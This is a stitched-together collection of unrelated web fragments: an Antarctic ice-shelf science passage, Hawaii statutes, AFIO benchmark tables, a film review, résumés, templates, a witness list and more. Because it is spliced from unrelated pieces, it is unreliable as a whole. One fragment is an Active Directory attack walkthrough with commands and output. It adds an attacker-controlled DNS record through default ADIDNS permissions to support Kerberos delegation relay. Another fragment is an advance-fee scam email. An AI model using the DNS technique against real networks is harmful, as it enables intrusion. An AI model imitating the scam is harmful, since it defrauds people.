In general, we find that variability in bottom temperature occurs mainly on the shallower regions of the continental shelf (Fig. 4a), likely resulting from changes in thermocline depth in response to surface wind forcing with a peak 5–10 year periodicity (Fig. 4c). The second EOF (Fig. 4d) captures cross-shelf exchange and associated warm water pathways. Both MCDW layer thickness and cross-shelf exchange are shown to contain large low-frequency variations (Fig. 2b, c). The similar periodicity to EOF mode 1 results from a common mechanism as upwelling responds to wind forcing. The relationship between basal melting and wind stress is elsewhere demonstrated to be caused by Ekman pumping and upwelling of oceanic heat, which in turn correlates well with observed TIS surface velocity anomalies 5. As melting underneath the Totten Ice Shelf has been identified to be driven by the relatively dense, warm and salty MCDW in models 25 and observations 28, 29, it follows that intrinsic variability in ocean water properties near the seabed produces a response in basal melting.
Intrinsic variability has been previously identified in Antarctic sea ice patterns 10, 31, 32, in the Southern Ocean 9, 10, as well as hypothesised in the ice sheet response to accumulation variability 33 and in palaeoclimate dynamics 34. Our results demonstrate that basal melting can vary on interannual timescales purely as a result of internally generated ocean variability, with broad implications for the identification of variability in an ice shelf/ocean system.
Interannual variability is present in ice shelf elevation change 2, surface velocity 3– 5 and grounding line location 6. However, it is difficult to extract the impact of intrinsic interannual variability in melt rate from these broad-scale products due to the disparate temporal and spatial scales, and relatively short observation periods. Nevertheless, the presence of interannual variability in multiple sources, with similar modes, suggests that some degree of the observed variability results from intrinsic processes.
This study has implications for observing and understanding ice shelf-ocean interaction. Basal melting can vary periodically with low-frequency variability, even in the absence of interannual atmospheric forcing. This implies that at least part of the variability associated with ice shelf thickness and consequently mass balance could arise purely through intrinsic ocean processes. This intrinsic variability is subsequently modified by external climate drivers to produce the observed record. However, to fully understand the temporal and spatial impact on ice shelf flow and thickness dynamics, a coupled ocean-ice sheet model is required.
We have highlighted the emergence of low-frequency intrinsic variability in cross-shelf flow and MCDW layer thickness, which arises through non-linear ocean processes and in response to daily-to-seasonal changes in wind stress. Basal melting beneath TIS responds linearly to MCDW thickness, but has a low correlation with cross-shelf flow, suggesting locally generated intrinsic variability influences the heat available to drive melting. This complex variability in basal melting limits the ability of short-term observational missions to draw conclusions about the long-term response to anthropogenic factors. In this sense, short oceanographic voyages and mooring deployments should be employed together with modelling studies to explore longer term trends. In regions which display significant interannual intrinsic ocean variability, long-term observational time series are critically important. Furthermore, many other ice shelves around Antarctica display some form of interannual variability (e.g. Filchner-Ronne, Amery, Shackleton and Ross 2). The contribution of intrinsic ocean processes to the observed interannual variability ice shelves around Antarctica is yet unknown. Understanding and distinguishing this component of the signal through modelling studies is important for predicting and detecting climate change, planning observational missions that target regions of low intrinsic variability, and interpreting satellite and in situ observations.


[§329-15] Schedule II tests. A substance shall be placed in schedule II if it has a high degree of danger or probable danger according to the determination made pursuant to section 329-11. [L 1972, c 10, pt of §1]


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For v1.1, maximum ops dispatch throughput
is approximately as follows, where the values for call()
might be for use as a closure engine whereas
the values for completion()
might be for max filing system IOPS[16]:
Table 1.8. Maximum null closure dispatch rate on a 3.5Ghz Intel Core i7 3770K for AFIO v1.1 i.e. NOT using transactional memory:
|
Operating system |
|
|
|
|
Raw ASIO |
|---|---|---|---|---|---|
|
Microsoft Windows 8 x64 with Visual Studio 2013 |
911963 |
596318 |
1555990 |
726124 |
2806070 |
|
Relative to ASIO |
32% |
21% |
55% |
26% |
100% |
|
Ubuntu 12.04 LTS Linux x64 with GCC 4.8 |
1094780 |
794384 |
1432810 |
968005 |
1611040[a] |
|
Relative to ASIO |
68% |
49% |
89% |
60% |
100% |
|
Microsoft Windows 8 x64 with Visual Studio 2010 |
649015 |
469689 |
1021630 |
613816 |
2725690 |
|
Relative to ASIO |
24% |
17% |
37% |
23% |
100% |
[a] Unfortunately the glibc mutex used by ASIO does not scale well on modern CPUs due to having too small a spin count, so this value is for four threads instead of eight (it was the best I could get through trial and error). |
We hope that ~720k max IOPS surely ought to be enough to max out any SATA
III SSD — it should even max out any mid range PCIe based SSD too,
and if paired with a CPU with more cores, AFIO's almost wait free design
ought to scale out fairly well too such that it may be able to max out even
top end PCIe SSDs, some of which can push 10m IOPS now. If that isn't fast
enough for you, try AFIO on an Intel CPU with memory transaction support
(a runtime check will automatically replace locks with TSX memory transactions),
or try support for __transaction_relaxed
compilers if BOOST_HAVE_TRANSACTIONAL_MEMORY_COMPILER
is defined.
Nevertheless, AFIO will almost certainly be still criticised for poor performance relative to Boost.ASIO. Unfortunately, dependency chaining is not free, and moreover, AFIO has a very simple design based on a global hash table and pure C++11 STL throughout (i.e. it's heavy on the memory allocator). The biggest limiter, by far, is the spin lock protecting the ops dispatch and completion implementation. Because AFIO is pure batch, dispatch is very rarely a problem: rather it is completion, because completion handling must always be performed per op completion in order to check for and dispatch, if necessary, dependencies. Currently the top consumers of CPU time during null closure dispatch benchmarks are as follows:
Table 1.9. Top consumers of CPU time during null closure dispatch in AFIO v1.1 on Microsoft Windows
|
Unchained |
Chained |
||
|---|---|---|---|
|
ops lock sleep |
40% |
ops lock sleep |
34% |
|
threadpool waiting for new ops |
23% |
ops lock spin |
22% |
|
ops lock spin |
8.1% |
threadpool waiting for new ops |
14% |
|
memory allocator |
6.1% |
memory allocator |
4.7% |
|
sending ops to threadpool |
1.0% |
sending ops to threadpool |
4.3% |
|
RtlUserThreadStart |
10% |
RtlUserThreadStart |
10% |
|
remainder and misc |
11.8% |
remainder and misc |
11% |
As you can see, when the closures do no real work, one spends a huge amount of time contending the ops lock. Luckily, the ops lock is not held while file i/o operations or closures are being executed, so contention on the ops lock isn't as much of a problem during real world use i.e. you will get a significant amount of “free” file i/o without losing much in maximum op dispatch throughput.
And certainly a custom allocator for the hash table might make quite a difference,
especially in avoiding spinning and sleeping the ops lock altogether by eliminating
the memory allocator. Another option we might investigate in the future is
using a different hash table implementation e.g. concurrent_unordered_map<>
instead (though I hear it has poor
single lookup performance, and the lack of safe erase is a huge problem for
us), or any of the hash tables from http://incise.org/hash-table-benchmarks.html.
[16] The phrase “might be” is important: a null closure benchmark will always have dispatch rate problems i.e. the closures being executed take less time to execute than the time to dispatch them, so these figures are best read as maximum dispatch rate, not maximum IOPS.


In 1992, director David Fincher made his feature debut with the long-awaited Alien 3 and met with a savaging by critics and audiences alike. It's doubtful if anyone thought they would hear from Fincher again after this reception.
Three years later he hit back with the Brad Pitt/Morgan Freeman film Seven, probably the best thriller of the Nineties. Suddenly Fincher became the critics' darling; everyone seemed to conveniently forget his earlier effort and, if they did remember it, of course it was because of problems with the producers/screenplay/studio. Fincher was hailed as one of the best of the new breed of directors and Seven received some of the best reviews of the year. The Game, then, had a lot of expectations to live up to.
Michael Douglas stars as Nicholas Van Orton, an investment banker without much to live for - he's rich, but is also divorced, lives alone and has no life to speak of. On his 48th birthday, his younger brother Conrad (Sean Penn) gives him a gift certificate for Consumer Recreation Services, a company that specialises in entertaining clients. That's pretty much all Nicholas knows about them when he decides, after much reservation, to pay them visit, which doesn't help him in figuring out just what it is they do. Not long after, though, his life is turned upside down by a series of freakish events.
Douglas gives one of his best performances here. I've never been a huge fan of his, so it was a pleasure to see him in the sort of role that Harrison Ford could have made his own. In fact, it reminded me somewhat of Ford's earlier Frantic, with both main characters not knowing just what the hell is going on around them.
Penn appears briefly but is terrific. Jodie Foster was considered for this role, which makes no sense at all. Foster, admirable actress though she is, could not in a million years acquit herself, although it's probable that the part would have been rewritten to accommodate her.
I liked The Game until the much talked-about ending. I knew that there was some consternation regarding it from some critics, but I understandably refrained from finding out what it was until I saw the actual film. I liked the final scenes at first, but after the film finished I found that it just didn't work for me, and so it tainted the rest of the movie. This is a pity, because, for the most part, The Game is a fine psychological thriller which, while overlong and in some parts over the top, is very enjoyable. Some scenes are especially good (Nicholas' episode in the runaway taxi, for example) but, in the end, this is one of the few movies I've seen where the ending was so disappointing that the film as a whole suffered.
An admirable but disappointing effort, all the more so because it could have very easily been a truly great piece of work. A second viewing may be in order, I think.
*** out of 5
Nigel Bridgeman<EMAIL_ADDRESS>http://www.powerup.com.au/~nigelb/movies
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


< Home
Cloud9 IDE
{{title}}
by {{author}}
API-Browser
Current API-Version: {{apiVersion}}
Operations
{{op}}
Operation details
{{de.url}}
{{de.description}}


With an engineering background, Alicia Qiu Cheung has derived a passion of writing code to logically tackle problems. She is currently involved in the University of Arizona (Trilogy) Coding Boot Camp in which she obtained proficient knowledge in full-stack programming that includes JavaScript, HTML, CSS, jQuery, Boostrap, and Node.js. She has the ability to learn quickly and enjoys self-learning by reading coding books and practicing. She graduated from University of Nevada, Las Vegas with a B.S and M.Eng in Civil and environmental engineering. My thesis was on removing disinfection by-products from drinking water which helped me win the First-Place award from a prestigious water organization, CA-NV American Water Works Association. I am very well organized, detail oriented, ability to multi-task, excellent time-management, planning and prioritization She has excellent communication skills, both verbal and written. Strong organizational and communication skills. Excellent verbal, interpersonal and written communication skills


Permissions to add/modify DNS records
After adding a new SPN that points to a hostname not in use on the network, we of course need to make sure the hostname we added resolves to our own IP. If the network you are in uses Active Directory-Integrated DNS, this should be straighforward. As Kevin Robertson described in his blog about ADIDNS, by default any authenticated user can create new DNS records, as long as there is no record yet for the hostname. So after we add the SPN for attacker.corp.com to our unconstrained delegation account, we can add a record for this hostname that points to our IP using for example PowerMad (different hostname used as example):
I also added a tool to the krbrelayx repo that can perform DNS modifications (dnstool.py) in AD over LDAP:
user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a add -d <IP_ADDRESS> Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Afterwards we can see the record exists in DNS:
user@localhost:~/adtools$ python dnsparse.py -u icorp\\testuser icorp-dc.internal.corp -r attacker -a query
Password: [-]
Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record attacker
DC=attacker,DC=internal.corp,CN=MicrosoftDNS,DC=DomainDnsZones,DC=internal,DC=corp
[+] Record entry:
- Type: 1 (A) (Serial: 36)
- Address: <IP_ADDRESS>
And the record resolves after the DNS server refreshes the records from LDAP (which by default takes place every 180 seconds):
user@localhost:~/adtools$ nslookup attacker.internal.corp <IP_ADDRESS>
Server: <IP_ADDRESS>
Address: <IP_ADDRESS>#53
Name: attacker.internal.corp
Address: <IP_ADDRESS>
The dnstool.py utility has several other options, including one to remove records again after exploitation, which I won’t go into in this post, but you can get the tool on GitHub. If modifying DNS does not work or the network you are in does not use AD for DNS, it is always possible to perform network attacks to take over the DNS server, though this often requires you to be in the same VLAN as the system. A way which should always work is modifying the compromised computers own DNS record, but this is almost a guarantee to break stuff and might take a while to propagate because of DNS caching.


HTML5
The main language of the world wide web, the hypertext markup language, or HTML, is currenty in its 5th version. Its standards are maintained by W3 here.
Tools & Editors
There are a number of useful tools for HTML5. Perhaps the most useful is the official validator for HTML, which will detect any usages of the language which are not officially supported. Verifying the integrity of HTML code helps to facilitate greater compatibility of your front end design with different browsers and versions.
Additionally, there are a number of editors that work well for HTML. They range in features and complexity from simple text programs like notepad, simple programming editors like gedit, to higher end programming plaforms like Notepad++ and Sublime Text, to full blown IDEs (integrated development environment) like Netbeans.
Syntax & Examples
HTML uses tags, typically including a start and end tag that enclose content of a specific type dictated by the tag. This content could be a paragraph, a picture, a link, or even some JavaScript code. For example, here is the simple paragraph tag for text formatting:
Notice the closing tag at the end. This tells the web browser that what follows is not a part of this paragraph. This is the result:
This is a paragraph in HTML.
...and the following is the HTML code for displaying an image:
Notice that the entire line, including the URL of the image is part of that tag. The 'alt' or alternative text is provided for browsers that cannot load the image for any reason. Image tags are one of the few tags that do not need a closing tag. This is what that code looks like when interpreted by your web browser:
That is one angry koala! For more examples and to learn how to do more with koala images on your own web site, work through some of the guides linked on our references page!


Death Note (デスノート, Desu noto ? , Literally Notebook of Death ) is an ongoing Japanese manga written by Tsugumi Ohba and drawn by Takeshi Obata . It is pre-published in Weekly Shōnen Jump magazine by december 2003 at May 2006, subsequently published as twelve tankōbon sinceMay 2004 until October 2006by Shūeisha . The French version is edited by Kana dejanuary 2007 until october 2008. Following the success of the manga, a 37-episode anime adaptation was produced by Tetsurō Araki at Madhouse studio and aired from October 3 , 2006 at June 26 , 2007on Nippon Television in Japan. In France, the anime is broadcast from the February 2 , 2008on MCM anddecember 2008on Virgin 17 . Death Note is also adapted into three live films , released in Japan between 2006 and 2008, then directly on DVD in France by Kazé. A drama adaptationwas also broadcast in 2015 on Nippon TV in Japan and as a simulcast on Crunchyroll in French-speaking countries. Most recently, it was featured in a film of the same name released on Netflix in 2017.
| cac name | cac age | role |
|---|---|---|
| yagami light | 17 | kira |
| L | 24 | detective |
| Ryuk | ? | shinigami |
if you want to know more about Death Note,check out it's a wikipedia page.


|
My Project
|
#include "aws.h"
#include "../../utils/err.h"
#include "../../utils/cont.h"
#include "../../utils/attr.h"
Macros | |
| #define | NN_AWS_STATE_IDLE 1 |
| #define | NN_AWS_STATE_ACCEPTING 2 |
| #define | NN_AWS_STATE_ACTIVE 3 |
| #define | NN_AWS_STATE_STOPPING_SWS 4 |
| #define | NN_AWS_STATE_STOPPING_USOCK 5 |
| #define | NN_AWS_STATE_DONE 6 |
| #define | NN_AWS_STATE_STOPPING_SWS_FINAL 7 |
| #define | NN_AWS_STATE_STOPPING 8 |
| #define | NN_AWS_SRC_USOCK 1 |
| #define | NN_AWS_SRC_SWS 2 |
| #define | NN_AWS_SRC_LISTENER 3 |
Functions | |
| void | nn_aws_init (struct nn_aws *self, int src, struct nn_epbase *epbase, struct nn_fsm *owner) |
| void | nn_aws_term (struct nn_aws *self) |
| int | nn_aws_isidle (struct nn_aws *self) |
| void | nn_aws_start (struct nn_aws *self, struct nn_usock *listener) |
| void | nn_aws_stop (struct nn_aws *self) |
| #define NN_AWS_SRC_LISTENER 3 |
| #define NN_AWS_SRC_SWS 2 |
| #define NN_AWS_SRC_USOCK 1 |
| #define NN_AWS_STATE_ACCEPTING 2 |
| #define NN_AWS_STATE_ACTIVE 3 |
| #define NN_AWS_STATE_DONE 6 |
| #define NN_AWS_STATE_IDLE 1 |
| #define NN_AWS_STATE_STOPPING 8 |
| #define NN_AWS_STATE_STOPPING_SWS 4 |
| #define NN_AWS_STATE_STOPPING_SWS_FINAL 7 |
| #define NN_AWS_STATE_STOPPING_USOCK 5 |
| void nn_aws_init | ( | struct nn_aws * | self, |
| int | src, | ||
| struct nn_epbase * | epbase, | ||
| struct nn_fsm * | owner | ||
| ) |
| int nn_aws_isidle | ( | struct nn_aws * | self | ) |
| void nn_aws_stop | ( | struct nn_aws * | self | ) |
| void nn_aws_term | ( | struct nn_aws * | self | ) |


WITNESS LIST
Government Efficiency & Reform Committee
March 24, 2011 - 10:30 AM or upon final adjourn./recess
For:
Cook, Derron (Carlisle Construction Materials)
Crews, Paul C (Amtech Building Sciences, Inc. Roofing & Building Envelope Consultants)
Gardiner, Brian (Austech Roof Consultants, Inc.)
Holt, K. Paul (Central Texas Chapter AGC (Assoc. General Contractors))
King, Joel (U.S. PLY, INC)
Oliver, Edis (Professional Roofing Standards Council)
Schulle Jr., Gerhardt (Professional Roofing Standards Council)
Wilson, Dennis (CCAP Representing Firestone BLDG Products)
Against:
Burden, Brian (TREMCO INCORPORATED)
Fisher, Steve (Texas Association of School Boards)
Garcia, Adrian (San Benito C.IS.D. NAPM- RGV)
Kennedy, David (Westhoff ISD)
Kilgore, Richard (Bruceville-Eddy ISD)
Malone, Jimmie (Self)
McCraw, Ken (TX Assn of Community Schools)
Price, Anthony (Rosebud-Lott ISD)
Rogers, Don (Texas Rural Education Assn)
Sullivan, Patrick (Self)
On:
Kinney, Lance (Tx. Board of Professional Engineers / Resource)
Ogilvie, Wes (Comptroller of Public Accounts)
Registering, but not testifying:
For:
Barber, Kathy (NFIB)
Coble, Frank (TAMKO Building Products, Inc.)
Connett, Brent (Texas Conservative Coalition)
Fisher, Jon (Associated Builders + Contractors of Texas)
Scheirer, David (Johns Manville)
Sewell, Jim (Gallagher Construction)
Venable, Peggy (Americans for Prosperity)
Against:
Anderson, David (Texas Fast Growth Schools Coalition)
Barrera, Gloria (Self)
Canales, Ramiro (Texas Association of School Administrators)
Dziuban, Colleen (DFW Airport)
Escobedo, Victor M (Self)
Farmer, Leslie (Self)
1
WITNESS LIST
Against:
Galvan, Oscar ("GS Advantage USAA Inc" Oscar Galvan)
Grimes, Cyd (Texas Public Purchasing Association + Travis County)
Gustafson, Philip (Self)
Heffernan, Sam (The Garland Company, Inc)
Herbert, Gary (Bruceville Eddy ISD)
Lillard Jr, Fred Gil (Self)
Naylor, David (Self)
Parsons, Stuart (Self)
Patterson, T.J. (City of Fort Worth)
Perry, Michael (Self)
Rasmussen, Michael (Rosebud-Lott ISD)
Reynolds, Pat (Texas Public Purchasing Association (TXPPA))
Schroeder, Fred (Houston's Waterproofing + Sheet Metal Specialist, LLC)
Sugg, Paul (Texas Association of Counties)
Tindle, Craig (Self)
Wells, Ken (Self)
Wilson, William (Self)
On:
Halpin, Steven (Texas Facilities Commission)
For:
Whaler, Ken (TX Daily Newspaper Association TX Press Association)
Registering, but not testifying:
For:
Cates, Emily (Daily Commercial Record)
Longley, Bill (Texas Municipal League)
Morin, Tom (Daily Court Review)
For:
Wilson, Andy (Public Citizen, Inc)
On:
Davila, Darrell (Tarrant County District Attorney)
Sims, Randall (Self; 47th Judicial District (Potter and Armstrong Counties) AND Special
Prosecution Unit)
Registering, but not testifying:
On:
Moriarty, John (TDCJ- OIG)
2
WITNESS LIST
For:
Suarez, Artuno (Self)
Registering, but not testifying:
For:
Smith, Jodie (Texans Care For Children)
Against:
Matocha, Dustin (Texans for Fiscal Responsibility)
McDonald, Tony (Young Conservatives of Texas)
On:
Cousins, Mark (University Interscholastic League)
On:
Crawford, Amanda (Office of the Attorney General)
Registering, but not testifying:
For:
Elkins, Keith (Freedom of Information Foundation of TX)
Longley, Bill (Texas Municipal League)
Patterson, T.J. (City of Fort Worth)
Wilson, Andy (Public Citizen, Inc)
On:
Moore, Patrick (Legislative Budget Board)
Registering, but not testifying:
Against:
Wilson, Andy (Public Citizen Inc)
3


Utilities to support basic tasks.
Fluid Tools Foundation offers a diverse set of tools to deal with frequent small tasks such as:
- {@linkplain org.fluidity.foundation.Configuration}: injecting configuration as a dependency;
- {@linkplain org.fluidity.foundation.Log Logging}: injecting a logger as a dependency;
- {@linkplain org.fluidity.foundation.Deferred DCL}: Double-Checked Locking with
volatile
acquire/release semantics;
- {@linkplain org.fluidity.foundation.ClassLoaders Class loading}: working with class loaders;
- {@linkplain org.fluidity.foundation.Exceptions Exceptions}: working with checked exceptions;
- {@linkplain org.fluidity.foundation.Generics Type parameters}: working with generic type parameters;
- {@linkplain org.fluidity.foundation.Proxies}: working with proxies;
- {@linkplain org.fluidity.foundation.IOStreams}: working with I/O streams;
- {@linkplain org.fluidity.foundation.Methods}: reflecting methods in a refactoring friendly manner;
- {@linkplain org.fluidity.foundation.Strings}: converting classes and objects, and arrays thereof, to text;
- {@linkplain org.fluidity.foundation.Lists}: array related utilities;
- {@linkplain org.fluidity.foundation.Archives Archives}: working with JAR archives, including an
{@linkplain org.fluidity.foundation.jarjar.Handler URL handler} for JAR archives nested in other JAR archives, with
{@linkplain org.fluidity.foundation.Archives.Nested convenience methods} to manipulate nested JAR URLs.


Where from?
Where to?
Different starting point?
get Price
Uber's price:
50's price:
!!!
Distance:
Time:


Homework 4: Python and data analyses
- Using python write a tool which generates a random subsampling tool for sequences. Given a FASTA sequence database file, which has 100,000 sequences, generate a new file which is a random subset these sequences selecting only 10% of them. Make this 10% an option in the program so it is easy to change to 20%, etc.
See the script rand_shuffle_seqs.py
in the homework template
- Run RNA-Seq analysis of this Bacteria light induction project. https://www.ncbi.nlm.nih.gov/bioproject/PRJNA315575. Only focus on 2 time points, the data can be downloaded with
download_bacteria_light_fastq.sh
script
- present a table of the genes with 2x upregulation in the 4hrs (SRR3234522) vs the 1hr (SRR3234519) timepoint
- Use Kallisto as easiest way to get expression computed for the timepoints
- can also explore GSNAP or Hisat2


{% extends "users/base.html" %} {% block title %}Subscription{% endblock %} {% block content %} {% if user.bypassing_stripe %}
WARNING
You have set BYPASS_STRIPE to True in your settings file.
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To set up stripe, please follow the docs at: https://cryptogram.com/docs/payments/
We are partnering with Stripe for secure subscription management.
You are currently on the {{ user.plan.name }} Trial, which expires
in {{ user.trial_ends_at|timeuntil }}.
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- 1 Basket
- 2 Review
- 3 Payment
- 4 Confirmation
Proceed to checkout
If you are ordering digital items, you do not need to sign in to proceed to checkout. This step is entirely optional and allows registered users to link their purchases to their National Archives account.
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Code from Java Virtual Machine by Jon Meyer & Troy Downing Copyright (c) 1997 by O'Reilly & Associates. Reprinted with the permission of O'Reilly Media, Inc.
Packaging, cleanup, reformatting and XSL transformation completed by Eugene Kuleshov (eu@javatx.org).


Anmol Kumar
Sarvesh Bhatnagar
PRABJOT SINGH BHOGAL
ISHITVA AWASTHI
RAJIV RAVAT
AKANKSHA SHARMA
PRATEEK DEMBLA
AKSHAY KAPOOR
ABHISHEK KADU
ANUPREKSHA JAIN
SAHEJPREET SINGH ANAND
DEVANSHI SINGH
SHIVAM JHA
URVI DEOLE
SHRIJA KESHARI
PARTH MANSINGHKA
HARSHITA NANGIA
MANASI ARYA
NAYAN BOTHRA
VIBHA GAUTAM
MANMEET SINGH
DHVANAN RANGREJ
ADITI SINGH
MISHKA JAIN
VATSAL VAGHASIA
SANCHI PATEL
AYUSHI VYAS


As far as the eye can see, the land of the flurps is covered alternately in
smooth pink rock and the glistening, pulsating piles of flurpkind.
{{lifeForms.flurpName}} was snuggled peacefully on the outskirts of his favorite pile,
when an unusual sucking noise caught the attention of all the nearby flurps.

Everyone excitedly opened their eyes on the side of the pile that the noise was
coming from, and saw a strange light emminating from what seemed to be a very
big new flurp friend. It was round like a flurp, but it did not seem to have any
armlegs like a flurp. It's mouthbelly was turned towards the pile, so noone
could see its headbody. Still, the flurps became very excited and rushed to
welcome the newcomer with Many open armlegs.
You are the closest, and the first to reach your new friend, so, as is customary
for greeting a stranger in flurponia, you throw your arms around them and....
Instead of finding a mouthbelly to hug and suckle, your armfeet close around your
own body. You are swept into the air and drawn into the mouthbelly of
your new friend.
This is not an uncommon occurance on flurp.
Othertimes, a smallish flurp will drop out of a mouthbelly and begin to flurp.
So sliding in and out of a mouthbelly is really no concern to a flurp at all.
In fact, generally, nothing is of concern to a Flurp.
This mouthbelly you are being drawn into is decidedly different than what
you expected. Instead of the ecstasy of melting into your new friend, you feel
like you are moving very very fast through space inside of what looks like
a long, shiny tube. In the direction you are moving, you see the tube spilt
into 3 different directions.
Now, flurps are awfully sensitive and can feel things very deeply. When you see
the tube for going very very fast in space split up, you feel different things
coming from each direction.


Mosaic - Prebidding Feature for Trade Partners
Iterated a tool to facilitate effective communication of changes in housing plans to trade partners,
enabling them to make accurate bids accordingly.
Introduction
At Mosaic, I was responsible for an ambitious challenge - digitizing a process traditionally done over fax by creating a feature to revolutionize housing plan change communication. Despite not being fully implemented, the project pushed our product team beyond our comfort zones, fostering an unmatched rate of learning and leaving a lasting impact on teams and products.
The primary goal was to seamlessly integrated with trade partners' current workflows, eliminating disruptions and unnecessary tools resulting in crystal-clear instructions to trades, ensuring timely resource deliveries and accurate content updates while minimizing wasted time and resources.
Addressing Trade Partner Pain Points
Understanding the challenges faced by trade partners, we crafted the communication tool to prioritize ease of use and simplicity. By minimizing the need for special tools, we ensured that trades could effortlessly incorporate the system into their existing work processes.
Seamless Integration
Our team diligently focused on designing a tool that seamlessly integrated into trade partners' daily routines. The interface was crafted to be intuitive, making it easy for trades to understand what was expected of them without requiring extensive training.
Updating Changes to Bids in Real Time
Tackling the issues of time and cost wastage head-on, the tool allowed trades to act swiftly and accurately. By streamlining communication, we minimized delays caused by misinterpretations and errors, ultimately leading to significant time and cost savings.
Impact and Growth
Though the feature was scrapped before being pushed to engineering, it sparked a chain reaction of growth. By taking initiative to conduct trade partner research for data driven decisions, needfinding resulted in innovative solutions beyond the feature's scope thus positively influencing other products.
Conclusion
The housing plan communication tool project exemplifies the transformative power of embracing challenges and valuing the journey. By fostering empathy and embracing failure, the team made a profound impact on teams and products. This case study is a testament to continuous growth and dedication to UX excellence at Mosaic.


The above visualization shows live transactions as they are posted to the Bitcoin Blockchain, i.e. real transactions in real time. This is made possible by the decentralized and transparent nature of Bitcoin.
Using the d3 javascript liabrary, the "droplets" are generated in proportion to the size of each new transaction. The container similarly fills up as more transactions are added. To clear the transactions, you can click the reset button. Switch the denominations of the total transactions display with the currency buttons in the dashboard.


High Prefect Finker:
Anyone wishing to become an Orc Shaman must have achieved at least level 20 and passed the appropriate test.
You've done neither!  To take the test, speak with Tataru Zu Hestui in the Orc Village. Pass his test and I'll make you an Orc Monk.


Edit project
|
Change project configuration settings (categories, parent,
summary, owners message, license, etc.) |
| Membership |
Invite, add, and remove users from this domain who are
permitted to access this project workspace |
| Custom
roles |
Customize project-specific roles (to give your users access to
just the right tools for your project's needs) |
| Resource
patterns |
Customize specific "resource patterns" (regular expressions) to
finely refine access to tool-specific assets |
| Tool
configuration |
Change tool-specific configuration parameters (everything from
email language to Subversion options) |
| Edit Project
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Edit the pages for this project |


Type "Loan Emi" , "Fixed Deposit Compound" , "Maturity to Deposit Amount Calculator" , "Recurring Calculator" , "Interest rate of Federal Bank" etc - Bot will give you reply
Please wait a bit while robot gives the answer, Type interest format as 7.15% , Duration as 2years or 24months


HELLO, MY NAME IS MOHAMMED BIN ABDULLAH FROM IRAQ. I WORKED WITH THE DEFUNCT REGIME OF SADDAM HUSSAIN AS HIS SECRET ASSISTANCE. WE HANDLE ALL OF HIS FINANCIAL PLANS AND OTHERS. SIR I KNOW THE IMPRESSION THE WORLD HAS ABOUT ANY BODY FROM MY COUNTRY IRAQ,DURING MY TIME WITH THE FORMER REGIME,I WAS ABLE TO SECRETLY REMOVE THE SUM OF $15MILLION US DOLLARS. WHICH I TRIED TO SEND OUTSIDE IRAQ VIA WIRE TRANSFER BUT THE BANK REFUSED BECAUSE OF FEAR OF BEING IMPOUNDED ON BY THE AMERICANS. SOME HOW I MANAGED TO SEND THE MONEY ACROSS IRAQ VIA SECRET COURIER SERVICE.    PLEASE FOR SAFETY PUROSE, IT IS BETTER WE LIMIT OUT COMMUNICATION TO EMAIL, FOR NOW.YOU ARE GOING TO GET 20% OF THE FUND FOR YOUR ASSISTANCE.  THANKS, SINCERELY, MOHAMMED BIN ABDULLAH ___________________________________________________________________________ Mail sent from WebMail service at PHP-Nuke Powered Site goddardclan.com - http://goddardclan.com


ARTICLE 9
LICENSING OF ADJUSTERS AND BILL REVIEWERS
Note
Article heading amended by L 2000, c 288, §2; L 2003, c 212, §52.
Case Notes
Where management company for foreign insurer authorized to do business in Hawaii did not hold a general agent, subagent, or solicitor license under this article (1993), it could not have been legally appointed as either a general agent, subagent, or solicitor of insurer; thus it did not qualify as a "general agent", "subagent", or "solicitor" as defined by this chapter (1993), did not fall within the parameters of the category described by §237-13(7) and was thus subject to a general excise tax rate of four per cent pursuant to §237-13(6). 115 H. 180, 166 P.3d 353 (2007).
PART I. GENERAL PROVISIONS
Case Notes
Where management company for foreign insurer authorized to do business in Hawaii did not hold a general agent, subagent, or solicitor license under this article (1993), it could not have been legally appointed as either a general agent, subagent, or solicitor of insurer; thus it did not qualify as a "general agent", "subagent", or "solicitor" as defined by this chapter (1993), did not fall within the parameters of the category described by §237-13(7) and was thus subject to a general excise tax rate of four per cent pursuant to §237-13(6). 115 H. 180, 166 P.3d 353 (2007).
§431:9-101 Scope. This article shall govern the qualifications and procedures for granting licenses to all insurance adjusters and independent bill reviewers. [L 1987, c 347, pt of §2; am L 2000, c 288, §6; am L 2001, c 216, §7; am L 2006, c 154, §13]
Cross References
Independent bill reviewers, see §§431:9-241 to 243.


My name is pronounced Ho-vawn-es, but most just call me Hov (yes, like Jay-Z). In my past life I worked in politics, at the federal as well as state levels. In my reincarnated past life, I was an aspiring academic. Now, I’m a data scientist! Regardless of how many lives I have left, I will always love helping others, analyzing data, and having fun.
Specialties:
Some of my favorite Python libraries and tools:
Some of my favorite tools for Data Visualization:
I work on improving and expanding VIZIO's recommender systems, and personalization efforts more broadly. From data engineering in AWS, to MLOps in Databricks, I navigate complex big data pipelines and am responsible for end-to-end solutions that enhance the user experience of millions of customers.
I taught students Python for Data Science (primarily in Jupyter Lab/Notebooks). Topics range from various machine learning models, statistical methods, and algorithms for both regression and classification problems, as well as unsupervised learning methods like clustering and recommender systems. I guide students through 3 months of a very rigorous data science curriculum, including 5 projects and a final capstone for their portfolios.
I used a variety of tools to conduct data analyses for officer performance and agency insights such as SQL (Metabase and Valentina Studio) and Python (Jupyter Lab) I also engaged in natural language processing (NLP) using Google’s Natural Language API for sentiment and entity analyses on unstructured data (e.g. constituent feedback and survey responses), in addition to VADER. I developed numerous dashboards in Metabase for dynamic visualizations that automated recurring analytics (e.g. monthly and quarterly statistics by agency).
I conducted various policy analyses and developed reports for presentation to Members of Armenian Parliament and the Economic Development Committee. I also collaborated with the rest of data science team to build our in-house data cluster, to speed up our data collection, cleaning, and analyses.
Minor: City and Regional Planning
Specialization: Education Policy
GPA: 3.8
Apart from being a data scientist, I enjoy most of my time being outdoors. In the pre-pandemic era, I was an avid soccer player. I enjoyed mountain biking, snowboarding, and playing tennis.
